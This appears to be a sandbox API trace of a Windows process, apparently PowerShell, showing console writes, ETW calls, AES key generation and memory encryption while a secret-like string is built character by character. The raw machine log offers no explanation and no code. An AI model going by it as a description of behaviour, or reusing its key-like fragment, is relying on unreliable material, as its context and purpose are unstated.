[0136.066] GetConsoleOutputCP () returned 0x1b5 [0136.066] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0136.066] GetConsoleOutputCP () returned 0x1b5 [0136.066] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0136.066] GetConsoleOutputCP () returned 0x1b5 [0136.067] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.067] GetConsoleOutputCP () returned 0x1b5 [0136.067] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.067] GetConsoleOutputCP () returned 0x1b5 [0136.068] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0136.068] GetConsoleOutputCP () returned 0x1b5 [0136.068] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0136.068] GetConsoleOutputCP () returned 0x1b5 [0136.068] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.069] GetConsoleOutputCP () returned 0x1b5 [0136.069] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.069] GetConsoleOutputCP () returned 0x1b5 [0136.069] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0136.069] GetConsoleOutputCP () returned 0x1b5 [0136.070] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0136.070] GetConsoleOutputCP () returned 0x1b5 [0136.070] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.070] GetConsoleOutputCP () returned 0x1b5 [0136.071] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.071] GetConsoleOutputCP () returned 0x1b5 [0136.071] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0136.071] GetConsoleOutputCP () returned 0x1b5 [0136.071] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0136.071] GetConsoleOutputCP () returned 0x1b5 [0136.072] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.072] GetConsoleOutputCP () returned 0x1b5 [0136.072] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.072] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0136.073] GetConsoleOutputCP () returned 0x1b5 [0136.073] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0136.073] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0136.073] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x695baf4*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x695baf4*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0136.075] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0136.075] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0136.081] GetConsoleOutputCP () returned 0x1b5 [0136.081] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0136.081] GetConsoleOutputCP () returned 0x1b5 [0136.082] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0136.082] GetConsoleOutputCP () returned 0x1b5 [0136.082] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0136.082] GetConsoleOutputCP () returned 0x1b5 [0136.084] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0136.084] GetConsoleOutputCP () returned 0x1b5 [0136.084] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.084] GetConsoleOutputCP () returned 0x1b5 [0136.085] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.085] GetConsoleOutputCP () returned 0x1b5 [0136.085] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.085] GetConsoleOutputCP () returned 0x1b5 [0136.086] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.086] GetConsoleOutputCP () returned 0x1b5 [0136.086] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.086] GetConsoleOutputCP () returned 0x1b5 [0136.086] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.086] GetConsoleOutputCP () returned 0x1b5 [0136.087] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.087] GetConsoleOutputCP () returned 0x1b5 [0136.087] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.087] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0136.088] GetConsoleOutputCP () returned 0x1b5 [0136.088] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0136.088] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0136.089] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x695c54c*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x695c54c*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0136.089] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0136.089] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0136.094] GetConsoleOutputCP () returned 0x1b5 [0136.095] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.095] GetConsoleOutputCP () returned 0x1b5 [0136.095] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.095] GetConsoleOutputCP () returned 0x1b5 [0136.096] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.096] GetConsoleOutputCP () returned 0x1b5 [0136.096] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.096] GetConsoleOutputCP () returned 0x1b5 [0136.096] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.096] GetConsoleOutputCP () returned 0x1b5 [0136.097] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.097] GetConsoleOutputCP () returned 0x1b5 [0136.097] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.097] GetConsoleOutputCP () returned 0x1b5 [0136.098] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.098] GetConsoleOutputCP () returned 0x1b5 [0136.098] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.098] GetConsoleOutputCP () returned 0x1b5 [0136.098] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.098] GetConsoleOutputCP () returned 0x1b5 [0136.099] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.099] GetConsoleOutputCP () returned 0x1b5 [0136.099] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.099] GetConsoleOutputCP () returned 0x1b5 [0136.100] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.100] GetConsoleOutputCP () returned 0x1b5 [0136.100] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.100] GetConsoleOutputCP () returned 0x1b5 [0136.100] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.100] GetConsoleOutputCP () returned 0x1b5 [0136.101] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.101] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0136.101] GetConsoleOutputCP () returned 0x1b5 [0136.102] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0136.102] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0136.102] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x695e350*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x695e350*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0136.103] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0136.103] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0136.108] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.108] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.108] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.108] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.108] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.108] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.109] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0136.109] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.109] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.109] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.110] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e02360) returned 1 [0136.111] CryptGenKey (in: hProv=0x8e02360, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84db8) returned 1 [0136.111] CryptContextAddRef (hProv=0x8e02360, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.111] CryptExportKey (in: hKey=0x8e84db8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0136.111] CryptExportKey (in: hKey=0x8e84db8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6967f04, pdwDataLen=0x99ae894 | out: pbData=0x6967f04*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0136.111] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x7e94\x696\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\xe400\x99a\x9e") returned 0x0 [0136.111] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.111] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.111] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.111] SysStringLen (param_1="") returned 0x8 [0136.111] SysStringLen (param_1="l") returned 0x8 [0136.111] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.111] SysStringLen (param_1="\x8ee6\x802a\x7c77\xd614\xfd10\x7ed\xd6f6\x2a24") returned 0x8 [0136.111] SysStringLen (param_1="\x8ee6\x802a\x7c77\xd614\xfd10\x7ed\xd6f6\x2a24") returned 0x8 [0136.112] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.112] SysStringLen (param_1="lg") returned 0x8 [0136.112] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.112] SysStringLen (param_1="\xadc1\x6d20\xed3a\xb7ea\x6eb9\xad5f\x8641\x16a7") returned 0x8 [0136.112] SysStringLen (param_1="\xadc1\x6d20\xed3a\xb7ea\x6eb9\xad5f\x8641\x16a7") returned 0x8 [0136.112] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.112] SysStringLen (param_1="lgR") returned 0x8 [0136.112] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.112] SysStringLen (param_1="㼳ཌྷ䧶뎧㥬㑿") returned 0x8 [0136.112] SysStringLen (param_1="㼳ཌྷ䧶뎧㥬㑿") returned 0x8 [0136.112] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.112] SysStringLen (param_1="lgR/") returned 0x8 [0136.112] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.112] SysStringLen (param_1="\x5abb\x999d\x3c7a\x5144\x36da\xe400\x69a8\xbd25") returned 0x8 [0136.112] SysStringLen (param_1="\x5abb\x999d\x3c7a\x5144\x36da\xe400\x69a8\xbd25") returned 0x8 [0136.112] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.113] SysStringLen (param_1="lgR/v") returned 0x8 [0136.113] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.113] SysStringLen (param_1="\xe8a2\xc71d\x66dd\x958e\x5c93\x92a2\x72f3\x8bc1") returned 0x8 [0136.113] SysStringLen (param_1="\xe8a2\xc71d\x66dd\x958e\x5c93\x92a2\x72f3\x8bc1") returned 0x8 [0136.113] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.113] SysStringLen (param_1="lgR/vk") returned 0x8 [0136.113] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.113] SysStringLen (param_1="\x7ab3\xbf80\x6e4\xbeb5\x4d65\xc455\xc211\xbb6b") returned 0x8 [0136.113] SysStringLen (param_1="\x7ab3\xbf80\x6e4\xbeb5\x4d65\xc455\xc211\xbb6b") returned 0x8 [0136.113] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.113] SysStringLen (param_1="lgR/vkR") returned 0x8 [0136.113] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.113] SysStringLen (param_1="\x2be5\x7c80\xef80\x56a\xf750\xa372\xde23\xd2a8") returned 0x8 [0136.113] SysStringLen (param_1="\x2be5\x7c80\xef80\x56a\xf750\xa372\xde23\xd2a8") returned 0x8 [0136.113] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.114] SysStringLen (param_1="lgR/vkRC") returned 0x8 [0136.114] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.114] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210") returned 0x8 [0136.114] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210") returned 0x8 [0136.114] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210") returned 0x8 [0136.114] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210") returned 0x10 [0136.114] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.114] SysStringLen (param_1="lgR/vkRCe㢼㫩Ლꂀ㊣狃") returned 0x10 [0136.114] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.114] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x1e4e\x61b8\xe5a5\xf2e\x2965\x6f83\x21d9\xe308") returned 0x10 [0136.114] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x1e4e\x61b8\xe5a5\xf2e\x2965\x6f83\x21d9\xe308") returned 0x10 [0136.114] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.114] SysStringLen (param_1="lgR/vkRCej㫩Ლꂀ㊣狃") returned 0x10 [0136.114] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.114] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\xb163\x85e2\x6787\xf56a\xc7cf\x2948\xa920\x8bd2") returned 0x10 [0136.114] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\xb163\x85e2\x6787\xf56a\xc7cf\x2948\xa920\x8bd2") returned 0x10 [0136.114] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.115] SysStringLen (param_1="lgR/vkRCejqᲚꂀ㊣狃") returned 0x10 [0136.115] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.115] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\xd84f\x2e69\x2bd5\xae60\x1f6e\x74e7\xb66a\xb3d9") returned 0x10 [0136.115] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\xd84f\x2e69\x2bd5\xae60\x1f6e\x74e7\xb66a\xb3d9") returned 0x10 [0136.115] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.115] SysStringLen (param_1="lgR/vkRCejqAꂀ㊣狃") returned 0x10 [0136.115] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.115] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x6cf9\x2479\x2b83\xd7ad\x5c78\xdec9\xc671\xd3b5") returned 0x10 [0136.115] SysStringLen (param_1="\x56ba\x3896\x49a1\x1d9c\x2d09\xb415\x7758\x4210\x6cf9\x2479\x2b83\xd7ad\x5c78\xdec9\xc671\xd3b5") returned 0x10 [0136.115] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.115] SysStringLen (param_1="lgR/vkRCejqA5ꂀ㊣狃") returned 0x10 [0136.115] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.115] SysStringLen 